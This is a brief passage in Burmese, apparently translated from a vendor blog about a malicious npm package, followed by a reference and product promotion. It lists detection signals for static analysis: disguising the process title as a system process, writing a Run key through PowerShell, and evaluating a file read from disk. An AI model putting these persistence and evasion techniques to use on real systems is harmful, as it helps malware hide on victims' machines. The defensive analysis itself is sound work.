static-analysis အတွက် pipelines၊ ယုံကြည်ချက်ပုံသဏ္ဍာန်သည် ဗားရှင်း churn တစ်လျှောက်တွင် ကြာရှည်ခံသည်- ကွန်ရက်မဟုတ်သော install profile၊ သိရှိထားသော system-process name သို့ process-title သတ်မှတ်ခြင်း၊ PowerShell မှတစ်ဆင့် Run-key ရေးသားခြင်းနှင့် disk မှဖတ်ထားသောဖိုင်၏ အကဲဖြတ်ခြင်း။ ၎င်းတို့ထဲမှ တစ်ခုမျှ domain၊ IP သို့မဟုတ် နောက်တစ်ကြိမ်ပြန်လည်ထုတ်ဝေခြင်းက လည်ပတ်သွားနိုင်သည့် ဗားရှင်းနံပါတ်ပေါ်တွင် မူတည်ခြင်းမရှိပါ။

 ကိုးကား

[npm: အာရုံခံနိုင်စွမ်း] – ဤနေရာတွင် ဆွေးနွေးထားသော package ဗားရှင်းလိုင်းအတွက် registry စာမျက်နှာ။ ဖယ်ရှားခံရနိုင်သည်။

sca-tools-software-composition-analysis-tools
သင့်ဆော့ဖ်ဝဲလ်အန္တရာယ်များကို ဦးစားပေးသတ်မှတ်ခြင်း၊ ပြုပြင်ခြင်းနှင့် လုံခြုံစေခြင်း
သင့်ရဲ့ အခမဲ့အကောင့်ကို ရယူလိုက်ပါ။
အကြွေးဝယ်ကဒ်မရှိပါ။

သင့်ရဲ့ Software Development နဲ့ Delivery ကို လုံခြုံအောင်ထားပါ

Xygeni ထုတ်ကုန်အစုံနှင့်အတူ